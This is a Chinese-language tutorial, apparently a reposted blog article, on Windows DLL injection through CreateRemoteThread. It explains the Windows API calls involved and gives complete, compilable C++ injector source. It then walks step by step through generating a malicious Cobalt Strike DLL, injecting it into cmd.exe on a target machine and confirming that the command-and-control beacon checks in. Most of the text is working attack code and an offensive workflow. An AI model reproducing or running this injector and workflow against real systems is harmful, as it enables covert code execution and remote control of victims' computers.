進程注入之CreateRemoteThread()


注入原理

原理是將惡意的動態鏈接庫路徑寫入到另一個進程的虛擬空間內,通過在目標進程中創建遠程線程進行加載。
t0117bd3187269363f4
但是程序不會無故加載我們惡意的dll,所以我們就要使用Windows API了,它提供了大量的函數來附加和操縱其他進程。
API中的所有函數都包含於DLL文件之中。其中,最重要的是Kernel32.dll(包含管理內存,進程和線程相關的函數),User32.dll(大部分是用戶接口函數),和“GDI32.dll”(繪制圖形和顯示文本相關的函數)等。

注入代碼的實現

由於基本上大多數進程都會使用Kernel32.dll,核心思想就是在目標進程中開啟一個線程調用LoadLibrary函數來加載我們想要注入的dll
大致注入流程如下圖
QQ截圖20220223204205

使用到的一些函數

OpenProcess函數
OpenProcess函數用來打開一個已存在的進程對象,並返回進程的句柄。

 HANDLE OpenProcess(
  DWORD dwDesiredAccess, //想擁有的該進程訪問權限
  BOOL bInheritHandle, // 是否繼承句柄
  DWORD dwProcessId// 被打開進程的PID
        );

參數解釋:
a.dwDesiredAccess:想擁有的該進程訪問權限
PROCESS_ALL_ACCESS //所有能獲得的權限
PROCESS_CREATE_PROCESS //需要創建一個進程
PROCESS_CREATE_THREAD //需要創建一個線程
PROCESS_DUP_HANDLE //重復使用DuplicateHandle句柄
PROCESS_QUERY_INFORMATION //獲得進程信息的權限,如它的退出代碼、優先級
PROCESS_QUERY_LIMITED_INFORMATION (獲得某些信息的權限,如果獲得了PROCESS_QUERY_INFORMATION,也擁有PROCESS_QUERY_LIMITED_INFORMATION權限)
PROCESS_SET_INFORMATION //設置某些信息的權限,如進程優先級
PROCESS_SET_QUOTA //設置內存限制的權限,使用SetProcessWorkingSetSize
PROCESS_SUSPEND_RESUME //暫停或恢復進程的權限
PROCESS_TERMINATE //終止一個進程的權限,使用TerminateProcess
PROCESS_VM_OPERATION //操作進程內存空間的權限(可用VirtualProtectEx和WriteProcessMemory)
PROCESS_VM_READ //讀取進程內存空間的權限,可使用ReadProcessMemory
PROCESS_VM_WRITE //讀取進程內存空間的權限,可使用WriteProcessMemory
SYNCHRONIZE //等待進程終止
b.bInheritHandle:表示所得到的進程句柄是否可以被繼承
c.dwProcessId:被打開進程的PID

返回值:
如成功,返回值為指定進程的句柄。
如失敗,返回值為NULL,可調用GetLastError()獲得錯誤代碼。

VirtualAllocEx函數
獲得返回句柄之后再用VirtualAllocEx函數,在目標進程中開辟一塊內存存放我們的dll的路徑。

LPVOID VirtualAllocEx(
HANDLE hProcess, // 申請內存所在的進程句柄
LPVOID lpAddress, // 保留頁面的內存地址;一般用NULL自動分配
SIZE_T dwSize, // 欲分配的內存大小,字節單位;注意實際分 配的內存大小是頁內存大小的整數倍
DWORD flAllocationType, //為特定的頁面區域分配內存中或磁盤
DWORD flProtect //受保護狀態
); 

WriteProcessMemory函數
之后使用WriteProcessMemory函數向目標內存寫入dll地址

BOOL WINAPI WriteProcessMemory(
  _In_  HANDLE  hProcess, //由OpenProcess返回的進程句柄。
  _In_  LPVOID  lpBaseAddress, //要寫的內存首地址
  _In_  LPCVOID lpBuffer, //指向要寫的數據的指針。
  _In_  SIZE_T  nSize, //要寫入的字節數。
  _Out_ SIZE_T  *lpNumberOfBytesWritten //返回值。返回實際寫入的字節
);

GetProcAddress函數獲得LoadLibraryW函數的起始地址。LoadLibraryW函數位於Kernel32.dll中,再用CreateRemoteThread函數讓目標進程執行LoadLibraryW來加載被注入的dll。函數結束將返回載入dll后的模塊句柄。
注意:這里的LoadLibrary函數在底層實際調用有兩種可能,如果目標程序使用的是ANSI編碼方式,LoadLibrary實際調用的是LoadLibraryA,其參數字符串應當是ANSI編碼;
如果目標程序使用的是Unicode編碼方式,LoadLibrary實際調用的是LoadLibraryW,其參數字符串應當是Unicode編碼。

完整代碼

// ConsoleApplication1.cpp : 此文件包含 "main" 函數。程序執行將在此處開始並結束。
#include <iostream>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <Tlhelp32.h>

BOOL Inject(DWORD dwId, WCHAR* szPath)
//參數1:目標進程id; 參數2:DLL路徑
{
	//1.在目標進程中申請一個空間
	/*
	1.1獲取目標進程句柄
	參數1:想要擁有的進程權限
	參數2:表示所得到的進程句柄是否可以被繼承
	參數3:被打開進進程的pid
	返回值:指定進程的句柄
	*/
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId);
	/*
	1.2在目標進程中開辟空間
	參數1:目標進程句柄
	參數2:保留頁面的內存地址,一般用NULL自動分配
	參數3:想要分配的內存大小,字節為單位
	參數4:ME_COMMIT:為特定的頁面區域分配內存中或磁盤的頁面文件中的物理存儲
	參數5:PAGE_READWRITE:區域可被應用程序讀寫
	返回值:執行成功就返回分配內存的首地址,不成功就是NULL
	*/
	LPVOID pRemoteAdress = VirtualAllocEx(
		hProcess,
		NULL,
		wcslen(szPath) * 2,
		MEM_COMMIT,
		PAGE_READWRITE
	);
	//2.把dll的路徑寫入到目標進程的內存空間中
	DWORD dwWriteSize = 0;
	/*
	寫一段數據到剛才給指定進程所開辟的內存空間里
	參數1:OpenProcess返回的進程句柄
	參數2:准備寫入的內存地址
	參數3:指向要寫入的數據指針(准備寫入的東西)
	參數4:要寫的字節數(東西的長度+0/)
	參數5:返回值,返回實際寫入的字節
	*/
	BOOL bRet = WriteProcessMemory(hProcess, pRemoteAdress, szPath, wcslen(szPath) * 2, NULL);
	//3.創建一個遠程線程,讓目標進程調用LoadLibrary
	/*
	參數1:該遠程線程所屬進程的進程句柄
	參數2:一個指向SECURITY_ATTRIBUTES結構的指針,該結構指定了線程的安全屬性
	參數3:線程棧初始大小,以字節為單位,若該值設為0,那么使用系統默認大小
	參數4:在遠程進程的地址空間中,該線程的線程函數的起始地址(也就是這個線程具體干的活)
	參數5:傳給線程函數的參數(剛才在內存里開辟的空間里寫入的東西)
	參數6:控制線程創建的標志。0(NULL)表示該線程在創建后立即運行
	參數7:指向接收線程標識符的變量的指針。如果為NULL,則不返回線程標識符
	返回值;如果函數成功,則返回值是新線程的句柄。如果函數失敗,則返回值為NULL
	*/

	//獲取模塊地址
	HMODULE hModule = GetModuleHandle(L"kernel32.dll");
	if (!hModule)
	{
		printf("GetModuleHandle Error !\n");
		GetLastError();
		CloseHandle(hProcess);
		return FALSE;
	}
	//獲取LoadLibraryA函數地址
	LPTHREAD_START_ROUTINE dwLoadAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryW");
	if (!dwLoadAddr)
	{
		printf("GetProcAddress Error !\n");
		GetLastError();
		CloseHandle(hProcess);
		CloseHandle(hModule);
		return FALSE;
	}
	//創建遠程線程,加載dll
	HANDLE hThread = CreateRemoteThread(
		hProcess,
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)dwLoadAddr,
		pRemoteAdress,
		NULL,
		NULL
	);
	//WaitForSingleObject(hThread, -1);當句柄所指的線程右信號的時候才會返回
	/*
	4.釋放申請的虛擬內存空間
	參數1:目標進程的句柄。該句柄必須擁有PROCESS_VM-OPERATION權限
	參數2:指向要釋放的虛擬內存空間首地址的指針
	參數3:虛擬內存空間的字節數
	參數4:MEM_DECOMMIT僅表示內存空間不可用,內存頁還將存在
	MEM_RELEASE這種方式很徹底,完全回收。
	VirtualFreeEx(hProcess, pRemoteAddress, 1, MEM_DECOMMIT);
	*/
	return 0;
}
DWORD GetPid(WCHAR* szName)
{
	HANDLE hprocessSnap = NULL;
	PROCESSENTRY32 pe32 = { 0 };
	hprocessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	/*if (hprocessSnap == (HANDLE)-1) { return 0; }*/
	pe32.dwSize = sizeof(PROCESSENTRY32);
	if (Process32First(hprocessSnap, &pe32))
	{
		do {
			if (!wcscmp(szName, pe32.szExeFile))
				return (int)pe32.th32ProcessID;
		} while (Process32Next(hprocessSnap, &pe32));
	}
	else 
		CloseHandle(hprocessSnap);
	return 0;
}
int main()
{
	wchar_t wStr[] = L"·····";//要注入的dll文件地址
	DWORD dwId = 0;
	DWORD dwPid = 0;
	WCHAR S[] = L"···";//注入的目標exe文件
	DWORD  SS = GetPid(S);
	printf("目標窗口的進程PID為:%d\n", SS);
	//參數1:目標進程的PID
	//參數2:想要注入dll的路徑
	Inject(SS, wStr);
	system("pause");
	return 0;
}

利用此方法上線CS

1.打開Visual Studio新建一個項目
QQ截圖20220223211219

2.將上述完整代碼添加進去

3.我們利用cs創建一個監聽
QQ截圖20220223211825

4.生成惡意dll文件
image-20220223212127573

這里根據需求選擇32位或者64位,我這里演示的是32位的,選擇剛才創建的監聽
image-20220223212338591

生成dll文件
image-20220223212455718

5.將dll文件放置在目標機的D盤下,我這里注入的進程是cmd.exe,並將main函數補全。
image-20220223212727327

6.編譯生成exe文件,在將該exe文件在目標及運行即可
image-20220223212947795

7.檢查發現cmd.exe中成功加載了惡意dll,且CS也成功上線
image-20220223213247397

image-20220223213351526


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM